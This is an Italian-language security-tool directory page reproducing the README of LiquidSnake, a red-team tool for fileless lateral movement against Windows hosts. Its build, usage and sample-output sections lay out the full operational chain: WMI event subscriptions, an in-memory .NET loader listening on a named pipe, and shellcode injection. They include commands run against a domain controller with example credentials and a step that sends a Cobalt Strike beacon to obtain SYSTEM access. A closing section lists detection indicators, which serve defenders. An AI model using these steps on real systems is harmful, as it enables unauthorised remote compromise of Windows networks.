Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
LiquidSnake — Strumento di movimento laterale senza file che utilizza le sottoscrizioni di eventi WMI per eseguire assembly .NET in memoria, con iniezione di shellcode tramite named pipe per il compromesso remoto di Windows. | Kitploit
Strumenti/GitHubGitHub/riccardoancarani/liquidsnake
Generazione di PayloadMovimento LateraleShellcodeRed Teaming
GitHubriccardoancarani/liquidsnake

LiquidSnake

Strumento di movimento laterale senza file che utilizza le sottoscrizioni di eventi WMI per eseguire assembly .NET in memoria, con iniezione di shellcode tramite named pipe per il compromesso remoto di Windows.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
347494 anni faRevisionato da Kitploit

Liquid Snake

Liquid Snake è un programma progettato per eseguire movimenti laterali contro sistemi Windows senza toccare il disco. Lo strumento si basa sulla sottoscrizione di eventi WMI per eseguire un assembly .NET in memoria; l'assembly .NET ascolterà uno shellcode su una named pipe e poi lo eseguirà utilizzando una variante dell'iniezione di shellcode tramite thread hijacking.

Il diagramma seguente (si spera) chiarisce il flusso dei dati:

Crediti

  • MDSec - WMI Event Subscription - questo strumento è semplicemente un'implementazione del concetto descritto in questo post del blog; il codice si basa anche sul PoC di persistenza WMI di Dominic in C Sharp
  • pwndizzle - thread-hijack.cs - per l'ispirazione sull'implementazione del thread hijacking in C Sharp
  • med0x2e - GadgetToJscript - per il lavoro mastodontico di creazione di GadgetToJScript

Introduzione

Il progetto è composto da due soluzioni separate:

  • CSharpNamedPipeLoader - il componente che verrà trasformato in VBS tramite GadgetToJScript
  • LiquidSnake - il componente responsabile della creazione della sottoscrizione di eventi WMI sul sistema remoto

Build

Basta aprire entrambe le soluzioni in Visual Studio e compilarle. Assicurati di puntare all'architettura x64 per CSharpNamedPipeLoader. Se tutto è andato bene, dovresti ottenere due EXE separati: CSharpNamedPipeLoader.exe e LiquidSnake.exe

Usando GadgetToJscript, converti CSharpNamedPipeLoader.exe in VBS con il seguente comando:

root@kitploit:~
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

Testa la deserializzazione .NET usando cscript.exe e assicurati che tutto funzioni come previsto:

root@kitploit:~
cscript.exe test.vbs

Poi, codifica in base64 il file vbs e inseriscilo nella variabile vbscript64 del Program.cs di LiquidSnake alla riga 29.

L'ho già fatto io per te, quindi puoi semplicemente compilare la soluzione LiquidSnake e usarla così com'è.

Utilizzo

L'uso di questo progetto è semplice, usa LiquidSnake.exe contro un host su cui hai accesso amministrativo come segue:

root@kitploit:~
LiquidSnake.exe <host> [<username> <password> <dominio>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

NOTA: Attualmente c'è un bug quando si impostano esplicitamente le credenziali dell'utente; in quel caso lo strumento non funzionerà. Si consiglia invece di usare make_token o qualsiasi altro meccanismo di impersonificazione.

Se tutto è andato bene, dovresti ottenere un output simile al seguente:

root@kitploit:~
[*] Filtro evento creato.
[*] Consumer evento creato.
[*] Sottoscrizione creata, ora in pausa
[*] Invio di un po' di amore DCOM..
[*] Di nuovo in pausa... lunga giornata

L'esempio sopra utilizza execute-assembly di CobaltStrike per lanciare LiquidSnake:

Nel frattempo, sull'host remoto verrà creata una nuova named pipe con il seguente nome:

root@kitploit:~
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

Quindi, usando il mio progetto send_shellcode_via_pipe dai miei BOF puoi inviare uno shellcode arbitrario sulla pipe remota che verrà caricato ed eseguito:

root@kitploit:~
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

Se tutto ha funzionato come previsto, dovresti ottenere un beacon SYSTEM:

NOTA: La versione attuale di LiquidSnake contiene un artefatto generato da GadgetToJScript che punta a .NET versione 4.x. Se l'host di destinazione ha solo la 3.5 installata, fallirà. Basta ripetere lo stesso processo ma usando la versione .NET appropriata durante la build di GadgetToJScript.

Rilevamento

Ci sono molte opportunità di rilevamento per identificare l'abuso di questo strumento e in generale l'uso di questa tecnica:

  • Creazione e cancellazione di un filtro evento WMI in un breve periodo di tempo, vedi gli ID evento Sysmon 19, 20, 21, 22
  • Eventi di caricamento del modulo per clr.dll relativi al processo scrcons.exe
  • Creazione di una named pipe relativa al processo scrcons.exe

Inoltre, il più grande svantaggio dell'implementazione specifica è che lo shellcode viene inviato in chiaro su SMB. Ciò significa che se una soluzione di monitoraggio di rete è in grado di ispezionare quel traffico, molto probabilmente risalterà. Non ho fatto molti test con il set di regole zeek/bro, ma sono abbastanza sicuro che verrà rilevato immediatamente.

Nella cartella detection-artefacts ho lasciato il file PCAP di una cattura Wireshark e gli eventi Sysmon generati durante l'attacco (utilizzando la configurazione predefinita di Swift On Security).

Scarica lo strumento